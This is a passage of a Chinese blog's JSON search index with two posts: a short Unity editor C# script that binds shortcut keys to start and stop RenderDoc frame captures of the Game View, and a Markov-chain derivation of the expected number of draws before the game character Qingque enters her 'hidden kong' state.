/\u003e","url":"https://note.stalomeow.com/blog/posts/unity-allocate-rt-problem/"},{"title":"用 RenderDoc 持续截帧 Unity Editor Game View","time":"2024-04-02T13:42:47Z","content":"\u003ch1 id=\"用-RenderDoc-持续截帧-Unity-Editor-Game-View\"\u003e用 RenderDoc 持续截帧 Unity Editor Game View\u003ca class=\"headerlink\" href=\"#用-RenderDoc-持续截帧-Unity-Editor-Game-View\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e某些渲染 bug 只会持续很短的时间,手动抓帧根本抓不到。Unity 在 \u003ccode\u003eUnityEditorInternal\u003c/code\u003e 命名空间下,提供了 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/d2eb9c0352229c0268d47ca0efa69e14b5d180f8/Editor/Mono/RenderDoc/RenderDoc.bindings.cs#L32\"\u003e\u003ccode\u003eRenderDoc.BeginCaptureRenderDoc\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/d2eb9c0352229c0268d47ca0efa69e14b5d180f8/Editor/Mono/RenderDoc/RenderDoc.bindings.cs#L34C28-L34C47\"\u003e\u003ccode\u003eRenderDoc.EndCaptureRenderDoc\u003c/code\u003e\u003c/a\u003e 方法。可以用它们对 Game View 持续截帧。\u003c/p\u003e\n\u003ch2 id=\"代码\"\u003e代码\u003ca class=\"headerlink\" href=\"#代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e随便给的快捷键:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAlt+Shift+B 开始截帧\u003c/li\u003e\n\u003cli\u003eAlt+Shift+E 结束截帧\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e为了防止和其他快捷键冲突,所以给得比较反人类。不过用的频率比较低,所以可以接受。\u003c/p\u003e\n\u003cp\u003e同时开多个 Game View 可能有问题,一个都不开必有问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditor.ShortcutManagement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditorInternal\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEngine\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eRenderDocUtils\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[Shortcut(\u0026quot;RenderDocUtils/BeginCaptureGameView\u0026quot;, KeyCode.B, ShortcutModifiers.Alt | ShortcutModifiers.Shift)]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eBeginCaptureGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginCaptureRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc capture started\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[Shortcut(\u0026quot;RenderDocUtils/EndCaptureGameView\u0026quot;, KeyCode.E, ShortcutModifiers.Alt | ShortcutModifiers.Shift)]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEndCaptureGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEndCaptureRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc capture ended\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEditorWindow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etype\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSceneView\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eAssembly\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetType\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;UnityEditor.GameView\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEditorWindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetWindow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-editor-renderdoc-tool/"},{"title":"青雀进暗杠的抽牌数期望","time":"2024-03-23T14:25:35Z","content":"\u003ch1 id=\"青雀进暗杠的抽牌数期望\"\u003e青雀进暗杠的抽牌数期望\u003ca class=\"headerlink\" href=\"#青雀进暗杠的抽牌数期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e用 \u003ca href=\"https://en.wikipedia.org/wiki/Markov_chain\"\u003e马尔可夫链(Markov chain)\u003c/a\u003e 暴力计算。顺便复习一下线代。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"让我摸个鱼吧~\" src=\"../../../obsidian-vault/attachments/qingque.jpg\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"起因\"\u003e起因\u003ca class=\"headerlink\" href=\"#起因\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e看到这两个视频以后,心血来潮算的。\u003c/p\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=1752122559\u0026bvid=BV1vx421k77C\u0026cid=1479621819\u0026p=1\u0026autoplay=0\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=996148265\u0026bvid=BV16s4y1B7jm\u0026cid=1129947597\u0026p=1\u0026autoplay=0\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003e这下真看 V 看的了。\u003c/p\u003e\n\u003ch2 id=\"青雀的抽牌机制\"\u003e青雀的抽牌机制\u003ca class=\"headerlink\" href=\"#青雀的抽牌机制\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e天赋\u003c/em\u003e 帝垣琼玉\u003c/p\u003e\n\u003cp\u003e我方目标回合开始时,青雀会从 3 种不同花色的琼玉牌中随机抽取 1 张,最多持有 4 张琼玉牌。青雀回合开始时,若持有的琼玉牌数为 4 且花色相同,青雀消耗所有琼玉牌进入【暗杠】状态。处于【暗杠】状态时无法再次施放战技,同时使自身攻击力提高,普攻【门前清】强化为【杠上开花!】,【暗杠】状态会在施放【杠上开花!】后结束。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003cem\u003e战技\u003c/em\u003e 海底捞月\u003c/p\u003e\n\u003cp\u003e立即抽取 2 张琼玉牌,使自身造成的伤害提高,持续至本回合结束。该效果可以叠加 4 次。施放该战技后,本回合不会结束。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e牌堆里有 3 种花色,最多同时持有 4 张牌,4 个花色相同则进暗杠。可以忽略牌的具体花色,把牌型抽象成 AABC、AABB、AAAB、AAAA 四种,AAAA 表示进入暗杠。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e青雀的摸牌是一个将琼玉牌从牌堆中取出并记录其内容,然后再将刚刚摸到的牌归还牌堆的过程,而非从牌堆中摸取琼玉牌并保留于手中的过程。根据青雀的摸牌规则(留多去少)我们又可以推导出:AAAA、AAAB、AABB、AABC 是一个层级系统,后者可以向前者晋升,前者却不可向后者跌落。\u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e假设青雀牌堆里,各花色的牌都有无穷多张。战技抽牌流程:先抽 2 张,再去掉手里 6 张中花色数量最少的 2 张。\u003c/p\u003e\n\u003ch2 id=\"马尔可夫链\"\u003e马尔可夫链\u003ca class=\"headerlink\" href=\"#马尔可夫链\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003eflowchart LR\n AABC([AABC]) -- 6/9 --\u0026gt; AAAB\n AABC -- 2/9 --\u0026gt; AABB\n AABC -- 1/9 --\u0026gt; AAAA\n\n AABB([AABB]) -- 6/9 --\u0026gt; AAAB\n AABB --1/9 --\u0026gt; AABB\n AABB -- 2/9 --\u0026gt; AAAA\n\n AAAB([AAAB]) -- 4/9 --\u0026gt; AAAB\n AAAB -- 5/9 --\u0026gt; AAAA\n\n AAAA([AAAA]) -- 1 --\u0026gt; AAAA\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e为了避免图太乱,权为 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e 的边就不画了。可以列出下表\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e下次牌型\\当前牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABC (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABB (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{1}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAB (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{6}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{6}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{4}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAA (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{1}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{5}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e转移矩阵\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nA = \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{2}{9} \u0026amp; \\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{6}{9} \u0026amp; \\dfrac{6}{9} \u0026amp; \\dfrac{4}{9} \u0026amp; 0\\\\\n\\dfrac{1}{9} \u0026amp; \\dfrac{2}{9} \u0026amp; \\dfrac{5}{9} \u0026amp; 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e记\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(a_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AABC 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(b_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AABB 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(c_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AAAB 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(d_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AAAA 的概率\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e可以得到公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = A^n \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003ch2 id=\"不同牌型的抽牌数期望\"\u003e不同牌型的抽牌数期望\u003ca class=\"headerlink\" href=\"#不同牌型的抽牌数期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e先要把 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 对角化。由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | \\lambda E - A \\right | = \\begin{vmatrix}\n\\lambda \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n-\\dfrac{2}{9} \u0026amp; \\lambda-\\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n-\\dfrac{6}{9} \u0026amp; -\\dfrac{6}{9} \u0026amp; \\lambda-\\dfrac{4}{9} \u0026amp; 0\\\\\n-\\dfrac{1}{9} \u0026amp; -\\dfrac{2}{9} \u0026amp; -\\dfrac{5}{9} \u0026amp; \\lambda-1\n\\end{vmatrix} = 0\n\\]\u003c/div\u003e\n\u003cp\u003e得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\lambda \\left ( \\lambda-\\frac{1}{9} \\right ) \\left ( \\lambda-\\frac{4}{9} \\right ) \\left ( \\lambda-1 \\right )=0\n\\]\u003c/div\u003e\n\u003cp\u003e可求得特征值和对应的特征向量为\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_1=0\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_1=(2,-4,3,-1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_2=\\dfrac{1}{9}\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_2=(0,1,-2,1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_3=\\dfrac{4}{9}\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_3=(0,0,1,-1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_4=1\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_4=(0,0,0,1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e记\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP=\\begin{pmatrix}\nv_1 \u0026amp; v_2 \u0026amp; v_3 \u0026amp; v_4\n\\end{pmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e因为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | P \\right | = \\begin{vmatrix}\n2 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n-4 \u0026amp; 1 \u0026amp; 0 \u0026amp; 0\\\\\n3 \u0026amp; -2 \u0026amp; 1 \u0026amp; 0\\\\\n-1 \u0026amp; 1 \u0026amp; -1 \u0026amp; 1\n\\end{vmatrix} = 2\n\\]\u003c/div\u003e\n\u003cp\u003e不为 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nA=P \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; \\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; \\dfrac{4}{9} \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 1\n\\end{bmatrix} P^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e故\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = P \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; \\left ( \\dfrac{1}{9} \\right )^n \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; \\left ( \\dfrac{4}{9} \\right )^n \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 1\n\\end{bmatrix} P^{-1} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 的 \u003ca href=\"../../../ecaa-acdj-cecf/\"\u003e伴随矩阵\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP^*=\\begin{bmatrix}\n1 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n4 \u0026amp; 2 \u0026amp; 0 \u0026amp; 0\\\\\n5 \u0026amp; 4 \u0026amp; 2 \u0026amp; 0\\\\\n2 \u0026amp; 2 \u0026amp; 2 \u0026amp; 2\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 的逆矩阵\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP^{-1}=\\dfrac{1}{\\left | P \\right |}P^*=\\begin{bmatrix}\n\\dfrac{1}{2} \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n2 \u0026amp; 1 \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{5}{2} \u0026amp; 2 \u0026amp; 1 \u0026amp; 0\\\\\n1 \u0026amp; 1 \u0026amp; 1 \u0026amp; 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n2\\left(\\dfrac{1}{9}\\right)^n \u0026amp; \\left(\\dfrac{1}{9}\\right)^n \u0026amp; 0 \u0026amp; 0\\\\\n-4\\left(\\dfrac{1}{9}\\right)^n+\\dfrac{5}{2}\\left(\\dfrac{4}{9}\\right)^n \u0026amp; -2\\left(\\dfrac{1}{9}\\right)^n+2\\left(\\dfrac{4}{9}\\right)^n \u0026amp; \\left(\\dfrac{4}{9}\\right)^n \u0026amp; 0\\\\\n2\\left(\\dfrac{1}{9}\\right)^n-\\dfrac{5}{2}\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; \\left(\\dfrac{1}{9}\\right)^n-2\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; -\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; 1\n\\end{bmatrix} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e上式中 \u003cspan class=\"arithmatex\"\u003e\\(n \\ge 1\\)\u003c/span\u003e。抽牌数的 \u003ca href=\"../../../eccb-afei-ceba/\"\u003e数学期望\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + \\sum_{n=2}^{\\infty} n(d_n-d_{n-1})\n\\]\u003c/div\u003e\n\u003cp\u003e式中 \u003cspan class=\"arithmatex\"\u003e\\(d_0\\)\u003c/span\u003e 是参数,不可以用 \u003cspan class=\"arithmatex\"\u003e\\(d_n\\)\u003c/span\u003e 的通项计算,只能拿出来单独处理。展开后即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + \\sum_{n=2}^{\\infty} n\\left( \\dfrac{5}{9}\\left(\\dfrac{5}{2}a_0+2b_0+c_0\\right)\\left(\\dfrac{4}{9}\\right)^{n-1} - \\dfrac{8}{9}\\left(2a_0+b_0\\right)\\left(\\dfrac{1}{9}\\right)^{n-1} \\right)\n\\]\u003c/div\u003e\n\u003cp\u003e令\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(k_1=\\dfrac{5}{9}\\left(\\dfrac{5}{2}a_0+2b_0+c_0\\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(k_2=-\\dfrac{8}{9}\\left(2a_0+b_0\\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(S(q)=\\displaystyle\\sum\\limits_{n=2}^{\\infty} \\left( k_1n(4q)^{n-1} + k_2nq^{n-1} \\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e则\u003c/p\u003e\n\u003cdiv 